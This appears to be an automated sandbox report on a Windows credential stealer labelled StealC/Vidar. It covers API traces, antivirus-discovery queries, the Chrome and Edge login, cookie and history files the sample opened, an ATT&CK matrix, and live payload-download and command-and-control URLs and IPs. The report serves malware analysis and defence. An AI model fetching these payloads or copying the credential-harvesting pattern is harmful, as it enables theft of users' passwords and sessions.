Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	7_2_0043404A
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: _LcidFromHexString,GetLocaleInfoW,_TestDefaultLanguage,	7_2_00438178
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	7_2_00440116
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	7_2_004382A2
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,	7_2_0043834F
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: _memset,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,___crtDownlevelLCIDToLocaleName,___crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,__itow_s,	7_2_00438423
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: EnumSystemLocalesW,	7_2_004387C8
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: GetLocaleInfoW,	7_2_0043884E
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,_free,_free,	7_2_00432B6D
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,	7_2_00432FAD
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	7_2_004335E7
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: _TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_GetLocaleNameFromDefault,IsValidCodePage,_wcschr,_wcschr,__itow_s,_LcidFromHexString,GetLocaleInfoW,	7_2_00437BB3
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: EnumSystemLocalesW,	7_2_00437E27
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	7_2_00437E83
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	7_2_00437F00
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,	7_2_0042BF17
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: _LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,__wcsnicmp,GetLocaleInfoW,_TestDefaultLanguage,	7_2_00437F83
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	10_2_02890AB6
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,__invoke_watson,	10_2_0287C8B7
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	10_2_028849EA
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,	10_2_0288394D
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	10_2_02883F87
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	11_2_026E0AB6
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,__invoke_watson,	11_2_026CC8B7
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,	11_2_026D394D
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	11_2_026D49EA
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	11_2_026D3F87

Source: C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe

Code function: 0_2_00406ADC GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_00406ADC

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe

7_2_00419F90

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe

Code function: 7_2_0042FE47 __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

7_2_0042FE47

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe

7_2_00419F90

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: build2.exe, 00000015.00000002.2500981338.00000000030F0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000003.2299381494.00000000030E8000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000003.2299280856.00000000030E1000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2501789448.0000000003580000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000003.1791183146.00000000030E1000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000003.1816664214.00000000030E1000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: build2.exe PID: 7964, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies

Source: Yara match

File source: Process Memory Space: build2.exe PID: 7964, type: MEMORYSTR

Remote Access Functionality

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: build2.exe PID: 7964, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	2 System Time Discovery	1 Taint Shared Content	11 Archive Collected Data	Exfiltration Over Other Network Medium	12 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	2 Data Encrypted for Impact	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	2 Native API	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	3 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	Exfiltration Over Bluetooth	21 Encrypted Channel	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	1 Shared Modules	1 Services File Permissions Weakness	311 Process Injection	22 Software Packing	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	Automated Exfiltration	1 Non-Standard Port			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	3 Command and Scripting Interpreter	Login Hook	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	NTDS	44 System Information Discovery	Distributed Component Object Model	Input Capture	Traffic Duplication	2 Non-Application Layer Protocol			Data Destruction	Virtual Private Server	Employee Names
Cloud Accounts	Launchd	Network Logon Script	1 Services File Permissions Weakness	1 Masquerading	LSA Secrets	1 Query Registry	SSH	Keylogging	Scheduled Transfer	113 Application Layer Protocol			Data Encrypted for Impact	Server	Gather Victim Network Information
Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	21 Virtualization/Sandbox Evasion	Cached Domain Credentials	161 Security Software Discovery	VNC	GUI Input Capture	Data Transfer Size Limits	Multiband Communication			Service Stop	Botnet	Domain Properties
External Remote Services	Systemd Timers	Startup Items	Startup Items	311 Process Injection	DCSync	21 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Exfiltration Over C2 Channel	Commonly Used Port			Inhibit System Recovery	Web Services	DNS
Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Services File Permissions Weakness	Proc Filesystem	2 Process Discovery	Cloud Services	Credential API Hooking	Exfiltration Over Alternative Protocol	Application Layer Protocol			Defacement	Serverless	Network Trust Dependencies
Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Web Protocols			Internal Defacement	Malvertising	Network Topology
Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	File Transfer Protocols			External Defacement	Compromise Infrastructure	IP Addresses

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
kOVwcHSfrR.exe	76%	ReversingLabs	Win32.Trojan.StealC
kOVwcHSfrR.exe	74%	Virustotal		Browse
kOVwcHSfrR.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	76%	ReversingLabs	Win32.Trojan.StealC
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\sqlite3[1].dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
windowsupdatebg.s.llnwi.net	0%	Virustotal	Browse
brusuax.com	19%	Virustotal	Browse
zexeq.com	21%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://zexeq.com/files/1/build3.exe$run	100%	URL Reputation	malware
http://www.wikipedia.com/	0%	URL Reputation	safe
http://zexeq.com/files/1/build3.exe	100%	URL Reputation	malware
http://zexeq.com/test1/get.php	20%	Virustotal		Browse
https://168.119.106.20:2024/freebl3.dllware	0%	Avira URL Cloud	safe
https://168.119.106.20:2024g	0%	Avira URL Cloud	safe
http://zexeq.com/test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDD&first=true	100%	Avira URL Cloud	malware
https://168.119.106.20:2024/mozglue.dllj	0%	Avira URL Cloud	safe
https://168.119.106.20//	0%	Avira URL Cloud	safe
http://zexeq.com/test1/get.php	100%	Avira URL Cloud	malware
http://zexeq.com/files/1/build3.exe$runXf	100%	Avira URL Cloud	malware
http://zexeq.com/files/1/build3.exerun0	100%	Avira URL Cloud	malware
https://168.119.106.20:2024/mozglue.dllh	0%	Avira URL Cloud	safe
https://168.119.106.20:2024/vcruntime140.dllalq&	0%	Avira URL Cloud	safe
http://zexeq.com/files/1/build3.exerun0	14%	Virustotal		Browse
https://168.119.106.20:2024Content-Disposition:	0%	Avira URL Cloud	safe
https://168.119.106.20:2024/mozglue.dllge	0%	Avira URL Cloud	safe
https://168.119.106.20//	1%	Virustotal		Browse
http://zexeq.com/test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDDT	100%	Avira URL Cloud	malware
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	0%	Avira URL Cloud	safe
http://zexeq.com/test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDDz	100%	Avira URL Cloud	malware
https://168.119.106.20:2024/mozglue.dllware	0%	Avira URL Cloud	safe
https://we.tl/t-99MNqXMr	0%	Avira URL Cloud	safe
https://168.119.106.20/	0%	Avira URL Cloud	safe
https://168.119.106.20:2024/softokn3.dlle	0%	Avira URL Cloud	safe
https://168.119.106.20:2024/nss3.dllw	0%	Avira URL Cloud	safe
https://168.119.106.20:2024/8	0%	Avira URL Cloud	safe
https://168.119.106.20/	1%	Virustotal		Browse
https://we.tl/t-99MNqXMr	0%	Virustotal		Browse
https://168.119.106.20:2024/msvcp140.dlle	0%	Avira URL Cloud	safe
http://zexeq.com/test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDD&first=truej	100%	Avira URL Cloud	malware
https://168.119.106.20:2024	0%	Avira URL Cloud	safe
https://168.119.106.20:2024/msvcp140.dll	0%	Avira URL Cloud	safe
https://168.119.106.20:2024/-p	0%	Avira URL Cloud	safe
http://zexeq.com/test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDD	100%	Avira URL Cloud	malware
https://168.119.106.20:2024/	0%	Avira URL Cloud	safe
https://168.119.106.20:2024/freebl3.dll	0%	Avira URL Cloud	safe
http://zexeq.com/files/1/build3.exe$runNf	100%	Avira URL Cloud	malware
https://168.119.106.20:2024/softokn3.dller	0%	Avira URL Cloud	safe
https://168.119.106.20:2024/My	0%	Avira URL Cloud	safe
https://we.tl/t-99MNqXMrdS	0%	Avira URL Cloud	safe
https://168.119.106.20:2024/nss3.dll	0%	Avira URL Cloud	safe
https://168.119.106.20:2024Microsoft	0%	Avira URL Cloud	safe
https://168.119.106.20:2024/freebl3.dll8	0%	Avira URL Cloud	safe
http://brusuax.com/dl/build2.exe	100%	Avira URL Cloud	malware
https://168.119.106.20:2024/mozglue.dll5	0%	Avira URL Cloud	safe
https://168.119.106.20:2024/Z	0%	Avira URL Cloud	safe
https://we.tl/t-99MNqXMrdS	0%	Virustotal		Browse
https://168.119.106.20:2024/vcruntime140.dll	0%	Avira URL Cloud	safe
https://168.119.106.20:2024/icrosoft	0%	Avira URL Cloud	safe
https://168.119.106.20:2024/vcruntime140.dller	0%	Avira URL Cloud	safe
https://168.119.106.20:2024/l.	0%	Avira URL Cloud	safe
http://brusuax.com/dl/build2.exe	24%	Virustotal		Browse
https://168.119.106.20:2024/oft	0%	Avira URL Cloud	safe
https://168.119.106.20:2024/softokn3.dll	0%	Avira URL Cloud	safe
http://brusuax.com/dl/build2.exe$run	100%	Avira URL Cloud	malware
https://168.119.106.20:2024/v	0%	Avira URL Cloud	safe
https://168.119.106.20:2024/mozglue.dll	0%	Avira URL Cloud	safe
https://168.119.106.20:2024/reebl3.dll	0%	Avira URL Cloud	safe
https://168.119.106.20:2024/sqlite3.dll	0%	Avira URL Cloud	safe
http://brusuax.com/dl/build2.exerund61fjaN	100%	Avira URL Cloud	malware
http://zexeq.com/files/1/build3.exe$runUf	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
t.me	149.154.167.99	true	false		high
api.2ip.ua	172.67.139.220	true	false		high
zexeq.com	186.182.55.44	true	true	21%, Virustotal, Browse	unknown
brusuax.com	187.211.34.211	true	true	19%, Virustotal, Browse	unknown
windowsupdatebg.s.llnwi.net	69.164.0.128	true	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://zexeq.com/test1/get.php	true	20%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://zexeq.com/test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDD&first=true	true	Avira URL Cloud: malware	unknown
https://t.me/mcfuture	false		high
http://zexeq.com/test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDD	true	Avira URL Cloud: malware	unknown
http://brusuax.com/dl/build2.exe	true	24%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://api.2ip.ua/geo.json	false		high
http://zexeq.com/files/1/build3.exe	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://t.me/	build2.exe, 00000015.00000003.2299498967.0000000000808000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2498797769.0000000000808000.00000004.00000020.00020000.00000000.sdmp	false		high
https://168.119.106.20:2024/mozglue.dllj	build2.exe, 00000015.00000003.2299420286.000000000083A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2499182150.000000000083B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://web.telegram.org	build2.exe, 00000015.00000003.1691934738.000000000083E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000003.2299498967.0000000000808000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2498797769.0000000000808000.00000004.00000020.00020000.00000000.sdmp	false		high
https://168.119.106.20:2024g	build2.exe, 00000015.00000002.2496611102.0000000000557000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://168.119.106.20//	build2.exe, 00000015.00000003.1816793087.0000000000834000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000003.2299420286.000000000083A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000003.1791445022.0000000000832000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2499182150.000000000083B000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://168.119.106.20:2024/freebl3.dllware	build2.exe, 00000015.00000002.2496611102.0000000000557000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.amazon.com/	kOVwcHSfrR.exe, 0000000D.00000003.1436805666.00000000035E0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://zexeq.com/files/1/build3.exerun0	kOVwcHSfrR.exe, 0000000C.00000003.1826144879.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1834665933.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799378148.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1865450593.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1862456362.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	false	14%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://zexeq.com/files/1/build3.exe$run	kOVwcHSfrR.exe, 0000000C.00000003.1834665933.00000000008AF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1865450593.00000000008B2000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1826144879.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1834665933.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799378148.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1862456362.00000000008AF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1826144879.00000000008B2000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1865450593.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799378148.00000000008AF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1862456362.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
